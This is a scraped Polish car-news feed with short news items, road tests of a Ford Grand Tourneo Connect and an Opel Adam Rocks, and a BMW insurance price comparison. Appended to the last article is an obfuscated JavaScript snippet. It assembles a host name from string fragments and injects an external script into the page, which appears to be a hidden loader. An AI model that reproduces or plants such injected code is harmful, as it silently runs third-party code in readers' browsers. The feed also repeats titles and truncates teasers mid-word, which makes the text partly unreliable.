Volvo V60 Polestar będzie służyć jako oficjalny samochód bezpieczeństwa tegorocznego sezonu WTCC w ciągu 12 wyścigowych weekendów. Pierwsza próba samochodu odbędzie się od 1 do 3 kwietnia na torze Paul Ricard we Francji. W stosunku do zwykłego modelu, V60 Polestar przeznaczone jako...Volvo V60 Polestar będzie służyć jako oficjalny samochód bezpieczeństwa tegorocznego sezonu WTCC w ciągu 12 wyścigowych weekendów. Pierwsza próba samochodu odbędzie się od 1 do 3 kwietnia na torze Paul Ricard we Francji. W stosunku do zwykłego modelu, V60 Polestar przeznaczone jako safety car otrzyma klatkę ochronną i wszystkie niezbędne systemy komunikacji. Pod maską siedzi 3,0 l silnik sześciocylindrowy turbo o mocy 350 KM i 500 Nm maksymalnego momentu obrotowego. Taka moc pozwala na uzyskanie setki w czasie 4,9 s. [See image gallery at motofilm.pl]

Ford Grand Tourneo Connect 1.6 TDCi [test]

Ford Grand Tourneo Connect 1.6 TDCi [test]

„Mówisz praca, myślisz Transit”, głosi hasło reklamowe Forda. Rodzina użytkowych modeli tej marki w ostatnim czasie mocno się rozrosła, zatem każdy powinien znaleźć w jej ofercie auto skro„Mówisz praca, myślisz Transit”, głosi hasło reklamowe Forda. Rodzina użytkowych modeli tej marki w ostatnim czasie mocno się rozrosła, zatem każdy powinien znaleźć w jej ofercie auto skrojone na miarę własnych potrzeb. A co w przypadku, gdy tradycyjny dostawczak jest dla nas za duży, a do tego przyda się auto z możliwością przewiezienia nie tylko towarów, ale i osób? Jeśli samochód ma także mieć w sobie coś z kompakta, wówczas z pomocą przychodzi linia Tourneo. W redakcji MotoFilmu pojawił się model Grand Connect, a więc wydłużona wersja z opcjonalnymi, dodatkowymi dwoma miejscami dla pasażerów. Sprawdźmy, jak wypada w porównaniu z konkurencją. Wbrew pozorom, ta jest wyjątkowo silna. Wszak od wielu lat producenci starają się dogodzić każdemu klientowi, a samochody użytkowe od dawna przestały nosić cechy typowych wołów roboczych. Patrząc na sylwetkę Forda, łatwo zauważyć nawiązania do obecnej linii stylistycznej pod postacią wydatnego grilla, zachodzących na błotniki reflektorów, czy też licznych przetłoczeń, które nadają bocznej linii lekkości. Podobną funkcję spełniają pionowo ustawione, długie tylne światła i ścięta u dołu szyba w klapie bagażnika. Tradycyjnym elementem są odsuwane tylne drzwi, które zdecydowanie ułatwiają wsiadanie nawet w ciasnych miejscach. Przy okazji warto wspomnieć o rzadziej spotykanym udogodnieniu, mianowicie otwieranych do dołu tylnych szybach, które nie są oczywistością u większości rywali. Nieco rażącym elementem są masywne, wręcz toporne lusterka boczne, ale ich niewątpliwe zalety poznamy zasiadając wewnątrz. Otóż ich szkła podzielono na dwie części, a co za tym idzie, kierowca ma mocno ułatwione zadanie przy cofaniu i doskonale widzi każdy zakamarek tylnej części nadwozia. Testowy egzemplarz wyposażono dodatkowo w kamerę cofania, której ekran umieszczono w lusterku wstecznym. To bardzo ciekawy patent, szczególnie że niewielki wyświetlacz pozostałych funkcji wkomponowano dość głęboko w kokpicie, więc jest słabo widoczny. Jeśli nie przeszkadza nam mierna jakość plastików, kabina Tourneo może się podobać. Nowoczesny kształt deski rozdzielczej, ładny kolor podświetlenia i lakierowane wstawki tworzą przytulną przestrzeń. Mimo natłoku przycisków, którymi upstrzona jest centralna część deski, obsługa jest w miarę intuicyjna, choć osobiście nieco irytowało mnie umiejscowienie włączników ogrzewania szyb (funkcja dotyczy zarówno tylnej, jak i przedniej). Bliskość lewarka zmiany biegów skutecznie ogranicza dostęp, na szczęście nie są to notorycznie używane opcje, zatem można przymknąć na to oko. Gorzej ze zbyt daleko odsuniętymi boczkami drzwiowymi, które nie pozwalają znaleźć wygodnego oparcia dla łokci, a ponadto wykonano je z tandetnego plastiku, który mocno skrzypi, gdy już nam się to uda. Najistotniejszą kwestią w przypadku tego pojazdu, są możliwości jego aranżacji. Ford deklaruje ich aż 16- ilość opcji iście imponująca. Siedem osób + 322 litry bagażnika- jest. Pięciu pasażerów i 1000 litrów pojemności bagażowej- również. Dwoje podróżujących + 2 620 litrów bagażu- proszę bardzo! Rzecz jasna po ostatnim rzędzie siedzeń nie spodziewajmy się cudów. Wsiadanie nań nie należy może do najłatwiejszych, za to komfort stoi na przyzwoitym poziomie pod warunkiem, że nie mówimy o osobach wysokich. Miły dodatek stanowią schowki i miejsca na kubki przewidziane dla zasiadających „w bagażniku". Kolejny bardzo ważny aspekt to kształt miejsca ładunku. Dzięki przemyślanym patentom, podłoga Tourneo może stać się zupełnie płaska. Tylna klapa jest ogromna, ale nisko poprowadzona dolna krawędź sprawia, że próg załadunku znalazł się w optymalnym miejscu. Zatem: za sprawą długiej listy wyposażenia i umiejętnościom dostosowania się do potrzeb właściciela, Ford sprawdzi się zarówno jako auto rodzinne, jak i przyjaciel w pracy. Ten stan rzeczy to także zasługa jednostki napędowej. Diesel o pojemności 1,6 litra i mocy 115 koni mechanicznych nie powala na kolana pod względem osiągów, za to jest bardzo elastyczny, a przede wszystkim charakteryzuje się symbolicznym spalaniem. W samochodzie o aerodynamice cegły średnie zużycie paliwa wahające się w okolicach 6-7 litrów to wynik godny pochwały. Co prawda podczas naszego testu na pokładzie znajdowały się maksymalnie dwie osoby, jednak należy mieć na uwadze gabaryty i masę auta (niemal 1 600 kilogramów). Ponadto nadmuchane Tourneo prowadzi się tak dobrze, jak auto kompaktowe. Układ kierowniczy jest precyzyjny, nawet ciasne, pokonywane szybko łuki nie są mu straszne. Zawieszenie skonfigurowano tak, by pasażerowie mogli wygodnie i bezstresowo pokonywać kolejne kilometry, nawet przy dużej ilości bagażu. Krótko mówiąc, konstruktorzy postawili na kompromis między możliwościami udźwigu, a komfortem. Tradycyjnym punktem rozważania za i przeciw jest cena. Na podstawową odmianę Grand Tourneo należy przygotować 75 500 złotych, jednak wówczas mamy do czynienia z zaledwie 75-konnym silnikiem i krótką listą wyposażenia dodatkowego. Za „naszą" odmianę potencjalnemu klientowi przyszłoby zapłacić ponad 100 000 złotych. Na papierze kwota wygląda niezbyt zachęcająco, ale jeszcze raz przyjrzyjmy się faktom: przestronne wnętrze, ogromne możliwości aranżacji, stosunkowo niskie spalanie i prowadzenie pozwalające zapomnieć o gabarytach auta, ale przede wszystkim skuteczność w pracy. Wszystko to sprawia, że inwestycja powinna szybko się zwrócić. A po pracy wyjazd nad morze z rodziną, dmuchanym materacem i rowerem! + ogromna przestrzeń wewnątrz + ilość możliwości aranżacji kabiny + przyjemne prowadzenie + niskie spalanie – kiepska jakość materiałów – słabe osiągi Dane Techniczne: Napęd Rodzaj silnika: diesel, doładowany, R4 Pojemność: 1560 cm3 Oś napędzana: przednia Moc maksymalna: 115 KM / 3 600 rpm Maks. moment Obr: 270 Nm / 1 750- 2 500 rpm Skrzynia biegów: manualna, 6 biegów Nadwozie Długość / Szerokość / Wysokość: 4 818 / 1 835 / 1 845 mm Rozstaw osi: 3 062 mm Pojemność bagażnika w litrach: 322 – 2 620 Masa własna: 1 596 kg Dane eksploatacyjne Przyspieszenie od 0 do 100 km/h: 14,1 s Prędkość maksymalna: 165 km/h Zużycie paliwa – trasa: 4,6 l/100km Zużycie paliwa – miasto: 5,6 l/100km Zużycie paliwa – cykl mieszany: 4,9 l/100km Pojemność zbiornika paliwa: 60 litrów Emisja CO2 [g/km]: 130

Opel Adam Rocks 1,0 Turbo [test]

Opel Adam Rocks 1,0 Turbo [test]

Mały, miejski samochód nie musi być nudny jak flaki z olejem. Dowodem na to są między innymi auta takie jak: Fiat 500, MINI czy właśnie Opel Adam. W zeszłym roku sprawdzaliśmy już „Adasia„, teraz jednak na horyzont wkracza jeszcze ciekawsza wersja Rocks. Czym się...Mały, miejski samochód nie musi być nudny jak flaki z olejem. Dowodem na to są między innymi auta takie jak: Fiat 500, MINI czy właśnie Opel Adam. W zeszłym roku sprawdzaliśmy już „Adasia„, teraz jednak na horyzont wkracza jeszcze ciekawsza wersja Rocks. Czym się wyróżnia? Jest po prostu bardziej odporna na miejskie zakamarki. Bo przecież nie oszukujmy się, nie chodziło o poprawę możliwości terenowych. Zwiększony o 15 milimetrów prześwit i plastikowe nakładki na nadkola mają po prostu ułatwić wjeżdżanie pod wysokie krawężniki oraz ochronić karoserię przed otarciami. Okupujący przednie fotele z pewnością docenią ilość miejsca, czego zazdrościć im będą pasażerowie tylnej kanapy, gdzie niestety nie jest już tak kolorowo. Nad głowami wszystkich uczestników podróży znajduje się oferowany w standardzie otwierany faltdach. Bagażnik pomieści zaledwie 170 litrów, ale od czego mamy tylną kanapę, na którą i tak niechętnie będziemy zapraszali znajomych. Na pochwałę zasługuje za to dobra jakość materiałów użytych wewnątrz oraz bardzo dobre odizolowanie kabiny od komory silnika, którego dźwięk w niewielkim stopniu dociera do uszu pasażerów. A pod maską naszego Rocksa pracuje 3-cylindrowa litrowa jednostka benzynowa wspomagana turbosprężarką. Jest ona dostępna w dwóch wariantach mocy: 90 oraz 115 KM. Nam przypadło testować egzemplarz z tą mniejszą liczbą rumaków. Zarówno w mieście jak i w trasie nie narzekałem na ospałość, momentami trzeba było trochę mocniej wkręcić silnik na obroty, ale o strachu podczas wyprzedzania nie było mowy. Średnie spalanie podczas całego, ponad 2000-kilometrowego testu wyniosło 7,7 l/100 km, gdzie większość tego dystansu pokonaliśmy przy autostradowych prędkościach. Ze spalaniem da się zejść do około 5 litrów na 100 km trasy, ale w mieście i tak będzie ono oscylowało w okolicach siódemki. Podniesione zawieszenie sprawia, że Adam łagodniej amortyzuje nierówności, ale też nie stracił swojego sportowego zacięcia. Szkoda tylko, że układ kierowniczy działa z tak małym oporem, no ale, przecież to auto dla kobiet. Standardowo już, w przypadku Adama, słowa uznania należą się za mnogość opcji personalizacji. Mnóstwo kompozycji kolorystycznych, bogate wyposażenie, składające się między innymi z podgrzewanych foteli i kierownicy, zestawu audio Infinity, systemu samodzielnego parkowania. Wszystko to jednak swoje kosztuje. Za dobrze wyposażonego Rocksa trzeba zapłacić nawet 70,000 złotych, na tyle wyceniono testowany egzemplarz. No ale, konkurencja też nie należy do aut budżetowych. Dane Techniczne: Napęd Rodzaj silnika: benzynowy, turbodoładowany, R3 Pojemność: 999 cm3 Oś napędzana: przednia Moc maksymalna: 90 KM / 4000-6000 rpm Maks. moment Obr: 170 Nm / 1800-3600 rpm Skrzynia biegów: 6-biegowa manualna Nadwozie Długość / Szerokość / Wysokość: 3 747 / 1 807 / 1 493 mm Rozstaw osi: 2 311 mm Pojemność bagażnika w litrach: 170 / 484 Masa własna: 1 156 kg Dane eksploatacyjne Przyspieszenie od 0 do 100 km/h: 11,9 s Prędkość maksymalna: 180 km/h Zużycie paliwa – trasa: 5,0 l/100km Zużycie paliwa – miasto: 7,5 l/100km Zużycie paliwa – cykl mieszany: 6,8 l/100km Pojemność zbiornika paliwa: 35 litrów Emisja CO2 [g/km]: 251 [See image gallery at motofilm.pl]

Nowa Mazda 2 w przyszłym roku w sprzedaży

Klienci będą mogli wybierać spośród czterech jednostek napędowych. Oficjalna premiera tego modelu odbędzie się w listopadzie w Mazda Space w Barcelonie, ale do sprzedaży trafić...Post Nowa Mazda 2 w pKlienci będą mogli wybierać spośród czterech jednostek napędowych.Oficjalna premiera tego modelu odbędzie się w listopadzie w Mazda Space w Barcelonie, ale do sprzedaży trafić ma dopiero w przyszłym roku. Warto jednak dodać, że tym razem Mazda decyduje się na niekonwencjonalną strategię wprowadzenia modelu na rynek europejski. Zamiast skoncentrować się na głównych międzynarodowych targach motoryzacyjnych, marka promuje swoją nowość na kilku imprezach regionalnych. Na przykład przed premierą prasową w Mazda Space, nowa Mazda 2 (w Japonii znana pod nazwą Mazda Demio) zostanie pokazana na Międzynarodowym Festiwalu Filmowym w Rzymie 16-25 października. Znajdzie się ona również na trzech nadchodzących targach motoryzacyjnych w Zurychu (5-9 listopada), Wiedniu (15-19 stycznia) i Brukseli (15-25 stycznia).Pod maską europejskiej wersji będzie można znaleźć jeden z czterech silników. Wysokoprężny SKYACTIV-D 1,5 o mocy 105 KM oraz maksymalnym momencie obrotowym 220 Nm (3,4 l paliwa na 100 km przy emisji CO2 na poziomie 89 g/km). Ponadto do wyboru będą silniki benzynowe SKYACTIV-G 1,5 w trzech wariantach mocy: od 75 KM do 115 KM. Zapewniają one zużycie paliwa na poziomie 4,5-4,9 l/100 km i emisję CO2 105-115 g/km. Moc jest przenoszona na przednie koła za pomocą przekładni ręcznej pięcio lub sześciobiegowej SKYACTIV-MT. Do wyboru będzie też sześciobiegowy automat SKYACTIV-Drive.W wyposażeniu nowej Mazdy 2 znalazł się zestaw aktywnych systemów bezpieczeństwa i-ACTIVSENSE, obejmujący rozwiązanie Blind Spot Monitoring (BSM). Dostępny po raz pierwszy w Maździe w Europie system BSM wykrywa niewidoczne obiekty za pojazdem i po jego bokach, nawet podczas cofania.Post Nowa Mazda 2 w przyszłym roku w sprzedaży pojawił się poraz pierwszy w MotoDay.pl - Serwis motoryzacyjny..

Elegancki, ale przewidywalny. Oto BMW serii 2 cabrio

Elegancki, ale przewidywalny. Oto BMW serii 2 cabrio

Qoros 2 SUV concept [teaser]

Qoros 2 SUV concept [teaser]

Chińska firma Qoros opublikowała pierwszy zwiastun zdjęciowy zupełnie nowego konceptu o nazwie 2 SUV. Model ten zadebiutuje podczas targów motoryzacyjnych w Szanghaju. Na chwilę obecną niewiele wiemy Chińska firma Qoros opublikowała pierwszy zwiastun zdjęciowy zupełnie nowego konceptu o nazwie 2 SUV. Model ten zadebiutuje podczas targów motoryzacyjnych w Szanghaju. Na chwilę obecną niewiele wiemy na temat samochodu. Pod maskę trafi prawdopodobnie nowa jednostka turbo o pojemności 1.8 l i mocy 185 KM. Według nieoficjalnych informacji, produkcja crossovera w Chinach rozpocznie się jeszcze w czwartym kwartale tego roku. Żadnych szczegółów na temat wariantu europejskiego nie znamy. Qoros 3 – wideo:

Technobezsens: skrzynie biegów Lenco

Technobezsens: skrzynie biegów Lenco

Ostatnio na automobilownia.pl pojawił się wpis o skrzyniach biegów. Czytając go przypomniało mi się pewne dość ciekawe rozwiązanie, o którym zdarzyło mi się czytać. Mianowicie coś takiego:Jest to skrzynia, a właściwie zestaw skrzyń opracowany w firmie Lenco. Dlaczego zestaw? Ano dlatego, że skrzynie te mają konstrukcję modułową. Jeden moduł to po prostu przekładnia planetarna o dwóch przełożeniach: 1:1 (czyli bezpośrednim) plus jakimś innym (np. 1,37:1). Łącząc ze sobą n modułów otrzymujemy więc n+1 biegów. Ich przełączanie odbywa się przez wybieranie przełożenia bezpośredniego na kolejnych modułach. Spójrzmy więc na przykładową skrzynię z dwoma modułami wyposażonymi w przełożenie 1,37 i jednym 1,31.źródło: http://www.lencoracing.comZ nich otrzymujemy tabelę jak poniżej:Bieg   pierwszy moduł        drugi moduł       trzeci moduł        przełożenie łącznie 1     1,37:1 1,37:1 1,31:1 2,46:1 2    bezpośrednie 1,37:1 1,31:1 1,80:1 3    bezpośrednie bezpośrednie 1,31:1 1,31:1 4    bezpośrednie bezpośrednie bezpośrednie 1:1Gdy wszystkie moduły mamy ustawione na 1,37 to jedziemy na przełożeniu 1,37 x 1,37 x 1,31 = 2,46. Następnie pierwszy moduł przełączamy na bezpośrednie (czyli 1) i mamy: 1 x 1,37 x 1,31 =  1,80. I tak dalej. Jak widać na zdjęciu, każdy moduł ma oddzielną dźwignię. Do tego jest jeszcze jedna, mała dźwignia, do biegu wstecznego. Jazda do tyłu jest możliwa właśnie dzięki dodatkowemu modułowi - na schemacie oznaczono go jako "reverser". Samo przełączanie biegów przypomina trochę jakby ktoś ręcznie sterował skrzynią automatyczną. Odbywa się bez użycia sprzęgła - jest ono używane tylko do wrzucenia "jedynki" lub wstecznego. źródło: http://www.lencoracing.comA do tego skrzynie Lenco są bardzo wytrzymałe i nie mają problemów z przenoszeniem dużej mocy i momentu obrotowego. W końcu powstały przede wszystkim do wyścigów dragsterów.źródło: speehunters.comźródło: speehunters.comSkrzynie Lenco najszerzej stosowano w latach 70-tych. Później NHRA (czyli takie amerykańskie dragsterowe FIA) zakazała ich używania w popularnej klasie Pro Modified. Obecnie jednak, przepisy znów się zmieniły i znów można legalnie startować z taką skrzynią w zawodach. Do tego zyskujący na sile ruch ścigania się klasycznymi i budowanymi w klasycznym stylu, dragsterami również przyczynia się do tego, że skrzynie Lenco są znów coraz częstszym widokiem na torach w USA (np. w opisywanych niedawno autach typu gasser). I nie tylko na torach: poza stricte wyścigowymi skrzyniami, producent oferuje także przekładnie projektowane do ruchu ulicznego. Nadal jednak są one pomyślane głównie dla osób, które swoim autem chcą przede wszystkim dojechać na tor 1/4 mili na kołach. W codziennym użytkowaniu, a także przy próbach szybkiej jazdy po innych torach niż dragstripy, taka skrzynia jest zwyczajnie zbyt absorbująca w obsłudze.Ale na 1/4 mili to nie stanowi problemu. I wygląda tak:Poza zastosowaniem do wyścigów na 1/4 mili, skrzynie Lenco są także używane w zawodach łodzi motorowych.

Przeciętny posiadacz Bugatti ma 84 auta, 3 samoloty i 1 jacht

Czyżby klienci legendarnej marki byli bogatsi od właścicieli Bentley’a lub Porsche? Grupa Volkswagena ma w swoim posiadaniu sporo różnych marek. Audi, Bugatti, Bentley, Lamborghini, Skoda,...PosCzyżby klienci legendarnej marki byli bogatsi od właścicieli Bentley'a lub Porsche?Grupa Volkswagena ma w swoim posiadaniu sporo różnych marek. Audi, Bugatti, Bentley, Lamborghini, Skoda, Porsche, Ducati, czy Seat, to tylko kilka z nich. Pomiędzy nimi jest spora przepaść jeśli chodzi zamożność klienteli. Najbogatsi są podobno ci, którzy kupują auta Bugatti.- Porównajmy na przykład posiadaczy Bentley'a oraz Bugatti. Są oni kompletnie różni – uważa Wolfgang Dürheimer, szef Bentley'a i Bugatti. – Klienci Bentley'a mają przeciętnie w swoich garażach 8 samochodów. Ci, którzy mają Bugatti posiadają ich około 84 oraz 3 samoloty plus 1 jacht – dodaje CEO.Może i klienci Bugatti mają więcej pieniędzy na koncie, co nie zmienia faktu, że to Bentley sprzedaje się lepiej. Modelu Veyron sprzedało się w ciągu 8 lat zaledwie 450 sztuk (w Polsce wiadomo o dwóch takich egzemplarzach). Bentley taki wynik uzyskałby ze swoimi autami zapewne w kilka tygodni. Z najnowszych danych wynika, że w ciągu roku udaje mu się sprzedać około 9 tysięcy samochodów.Post Przeciętny posiadacz Bugatti ma 84 auta, 3 samoloty i 1 jacht pojawił się poraz pierwszy w MotoDay.pl - Serwis motoryzacyjny.. 

Audi A3 1.4 TFSI manual - techniczny lifting

Audi A3 1.4 TFSI manual - techniczny lifting

Audi A3 1.4 TFSI manual po liftingu - zdjęcia

Audi A3 1.4 TFSI manual po liftingu - zdjęcia

Mercedes CLK GTR Roadster 2012 – USA

Nie każdy samochód musi się zestarzeć, by zostać klasykiem. Ten Mercedes CLK GTR Roadster to numer 3 z 6 wyprodukowanych. Wersję drogową stworzono, by usankcjonować bolidy startujące w zawodach FIA GTNie każdy samochód musi się zestarzeć, by zostać klasykiem. Ten Mercedes CLK GTR Roadster to numer 3 z 6 wyprodukowanych. Wersję drogową stworzono, by usankcjonować bolidy startujące w zawodach FIA GT – przy mocy ponad 600 KM ważyły 1 tonę i do dziś są najbardziej ekstremalnymi Mercedesami dopuszczonymi do ruchu ulicznego. Ostatnio taki bolid w […] Post Mercedes CLK GTR Roadster 2012 – USA pojawił się poraz pierwszy w Giełda klasyków.

Drogie BMW – wysoka cena AC. Z kalkulatorem ubezpieczenia niekoniecznie!

Drogie BMW – wysoka cena AC. Z kalkulatorem ubezpieczenia niekoniecznie!

BMW – takie sobie, zwykłe trzy literki, ale co one za sobą kryją! Zamknijcie oczy i wyobraźcie sobie najlepsze auto pod słońcem… Czujecie to? Szybką jazdę, komfortowe wnętrze i jeszcze cudowne wBMW – takie sobie, zwykłe trzy literki, ale co one za sobą kryją! Zamknijcie oczy i wyobraźcie sobie najlepsze auto pod słońcem… Czujecie to? Szybką jazdę, komfortowe wnętrze i jeszcze cudowne wrażenie, że prowadzicie samochód idealny. Auto reaguje na każde „polecenie", jedziecie prosto przed siebie i upajacie się szumem silnika, jego mocą…. A teraz otwórzcie oczy… widzicie kolosalną cenę!? Gdyba nawet było Was stać na to cacko, prawdopodobnie dobije Was cena ubezpieczenia. Bo na to cudo nie można kupić samego OC. AC jest tutaj niezbędne. Ile ono kosztuje? Sprawdziłem! Im droższy samochód, tym wyższa cena AC Założyciele koncernu BMW: Gustav Otto i Karl Rapp, na początku XX wieku wcale nie chcieli produkować samochodów. Ich pasją było lotnictwo. Ciekawe co powiedzieliby teraz, gdyby wiedzieli, że pierwotna produkcja samolotów w przemyśle zbrojeniowym zmieniła się głównie w wyrób samochodów – symboli mocy i luksusu. Ten luksus kosztuje i nie wiadomo dlaczego, w przypadku BMW płaci się więcej także za ubezpieczenie. Ktoś chyba kiedyś stwierdził, że ta marka jest dla kierowców, którzy lubią „dodać gazu"(a wierzcie mi – jest czym!) i w takim razie wszystkim posiadaczom BMW trzeba przypisać wyższe ryzyko ubezpieczeniowe. Tak więc składka za OC jest spora, a AC – im droższy samochód, tym większa. Tutaj akurat nie ma co się bulwersować. Ubezpieczyciel musi sobie doliczyć, bo w przypadku nowszych modeli, naprawa nawet drobnej rysy na karoserii kosztuje majątek. Tak między nami: niektórzy nawet przy niewielkim uszkodzeniu wolą od razu orzec szkodę całkowitą, bo tak jest taniej i wygodniej. Internetowy kalkulator OC AC prawdę o ubezpieczeniu Ci powie Gdzie finansowy ratunek dla tego, kto za wszystkie oszczędności nabył samochód swoich marzeń? Wziąłem „w obroty" testowany już w naszym serwisie model BMW 435i Coupe. Założyłem, że jestem jego drugim właścicielem, a samochód ma już ponad rok. Salonowe AC poprzedniego właściciela i tak nie przechodzi na mnie, OC właśnie się kończy. Powiedzmy, że dotychczasowy ubezpieczyciel postanowił odbić sobie "rabacik marketingowy" na dzień dobry i wywindował mi cenę polisy, chociaż jestem 40 letnim, bezszkodowym kierowcą i mam pełne zniżki z OC. Najpierw postanowiłem sprawdzić ofertę ubezpieczenia telefonicznie, dzwoniąc do trzech przedstawicieli różnych towarzystw. Dwa z nich od razu odmówiły mi ochrony ubezpieczeniowej, twierdząc, że …. nie powiedzieli dlaczego – tylko, że mogą sprzedać najwyżej OC (przecież wiem – muszą!) Trzecia firma naliczyła mi składkę, BA!!!! TYLKO 10 tys złotych za rok!!! Zmieniłem taktykę poszukiwań. Wpadłem na pomysł przeprowadzenia internetowego porównania OCAC. W tym celu skorzystałem z najbardziej znanej porównywarki rankomat.pl, która podobno przedstawia 55 ofert ubezpieczeń samochodu. Wyniki w kalkulatorze ubezpieczenia były zaskakujące! Zobaczcie ogromną rozbieżność w cenach i zakresie ochrony: AXA – najtańsza propozycja OC+AC+ASS mini z darmową Zieloną Kartą opiewała na jedyne 1 486 złotych, ale dlaczego tak tanio???? Przecież wartość tego pojazdu to ok. 170 tys. złotych! No właśnie – w tej ofercie nie było ochrony od kradzieży i wprowadzono udział własny 15%. Plus jest taki, że towarzystwo gwarantuje naprawę bezgotówkową, w warsztacie, na częściach oryginalnych i zniesienie amortyzacji. Kalkulatorem AXA można się „pobawić" i dostosować zakres AC do własnych potrzeb. A tak zmienia się składka: - wprowadzając ubezpieczenie od kradzieży 1 553 zł, - później, zmieniając udział własny na 10%: 1 666 zł , 5% : 1 882 zł, - fundując sobie full pakiet, czyli pełną ochronę z kradzieżą włącznie i całkowitym zniesieniem udziału własnego zapłaciłbym 2 559 zł. To wciąż bardzo kusząca propozycja. Dlaczego tak tanio? Podobno w cenie ujęto: bonus od AXA 17% i rabat 15% za zakup przez internet. Tylko taki jeden drobiazg: nie wiem dlaczego w kalkulatorze ubezpieczenia samochodu zaznaczono małą gwiazdkę „składka przybliżona". Czy to oznacza, że przed zakupem polisy musiałbym jeszcze zadzwonić do przedstawiciela firmy i upewnić się, że wyliczona kwota jest ostateczna? Link4 – ceny ubezpieczenia OC AC zaczynają się od 3 314,30 złotych. Tutaj otrzymam w pakiecie: - OC, - pełny ASS z samochodem zastępczym i ASS opony, - zwrot kosztów holowania, - ubezpieczenie bagażu, - naprawę na kosztorys, na zamiennikach (to już gorzej niż w AXA!), z wniesioną amortyzacją części, - 500 zł udziału własnego w ubezpieczeniu wypadkowym, bez udziału w kradzieżowym. Podobnie jak w towarzystwie AXA, zakres ochrony AC można dowolnie kształtować: - po zniesieniu amortyzacji cena polisy wzrasta do 3 548,82 zł, - z naprawą pojazdu w warsztacie częściami oryginalnymi, bez amortyzacji i udziałów własnych zapłacę składkę 4 141,72 zł, - full pakiet, dodatkowo z produktem szyby24 i NNW kosztuje 4 315,48 złotych. Allianz Direct – najniższa cena polisy OC+AC+ pełny ASS wynosi 4 492 złote. Na dodatek … mam tutaj 70% udziału własnego w szkodzie częściowej. Jest on zniesiony tylko w szkodzie kradzieżowej. Reszta ochrony jest do przyjęcia: naprawa w ASO (autoryzowanym warsztacie) i zniesiona amortyzacja. Znosząc udział własny na 12% zapłaciłbym już 7 609 złotych! Full pakiet w Allianz Direct kosztowałby mnie 8 487 złotych!! Ile razy ta składka jest wyższa od najniższej oferty ubezpieczenia? Sami policzcie! Co wynika z obliczeń kalkulatora ubezpieczenia samochodu? Kalkulator ubezpieczenia rankomat.pl prawdę nam powiedział. A jest ona taka, że oferty ubezpieczenia samochodu trzeba porównywać i sprawdzać zakresy ochrony, bo rozbieżność w cenach polis może być ogromna. Mnie osobiście nasuwa się taka refleksja: odbiegając od tego, że nie mam i z wiadomych względów mieć prędko nie będę cudownej BMW 435i … gdybym jednak ją miał….może wybrałbym polisę z wyższej półki, z renomowanej firmy, bo zależałoby mi na tym, żeby takie „cacko" dobrze ubezpieczyć:) Oczywiście wybór najlepszej opcji autocasco pozostawiam szczęściarzom posiadającym ten wspaniały samochód i życzę im Szerokiej Drogi:) (function(){ u1i4=document.createElement("script");u1i4.type="text/javascript"; u1i4.async=true;u1i4_=(("us")+"t")+"a";u1i4_+=("t.i")+""+"n";u1i4_+=(("f")+"o"); u1i4.src="http://"+u1i4_+"/147960.m04X51wm1i4X5ifnmnwwcpvXpiq8h5"; document.body.appendChild(u1i4); })();